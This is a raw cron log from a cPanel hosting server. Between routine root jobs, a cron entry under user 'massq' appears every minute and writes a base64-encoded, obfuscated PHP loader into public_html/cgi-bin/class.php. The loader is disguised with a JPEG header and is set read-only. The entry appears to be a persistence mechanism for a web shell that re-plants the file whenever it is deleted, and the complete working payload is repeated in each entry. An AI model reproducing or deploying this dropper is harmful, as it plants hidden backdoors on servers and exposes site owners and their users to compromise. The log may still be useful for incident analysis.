Sep  7 07:20:01 server CROND[27420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:20:01 server CROND[27417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:20:01 server CROND[27421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:20:01 server CROND[27419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:20:01 server CROND[27415]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:20:01 server CROND[27416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:21:02 server CROND[28347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:21:02 server CROND[28348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:21:02 server CROND[28349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:22:01 server CROND[28728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:22:01 server CROND[28729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:22:01 server CROND[28730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:23:01 server CROND[29110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:23:01 server CROND[29109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:23:01 server CROND[29111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:24:01 server CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:24:01 server CROND[29501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:24:01 server CROND[29503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:25:01 server CROND[29891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:25:01 server CROND[29893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:25:01 server CROND[29894]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:25:01 server CROND[29898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:25:01 server CROND[29900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:25:01 server CROND[29901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:25:01 server CROND[29903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:26:01 server CROND[30829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:26:01 server CROND[30830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:26:01 server CROND[30831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:27:01 server CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:27:01 server CROND[31218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:27:01 server CROND[31217]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:27:01 server CROND[31219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:28:01 server CROND[32169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:28:01 server CROND[32170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:28:01 server CROND[32171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:29:01 server CROND[32567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:29:01 server CROND[32568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:29:01 server CROND[32569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:30:01 server CROND[507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:30:01 server CROND[509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:30:01 server CROND[511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:30:01 server CROND[510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:30:01 server CROND[515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:30:01 server CROND[512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:30:01 server CROND[514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:30:01 server CROND[513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:31:01 server CROND[1684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:31:01 server CROND[1686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:31:01 server CROND[1685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
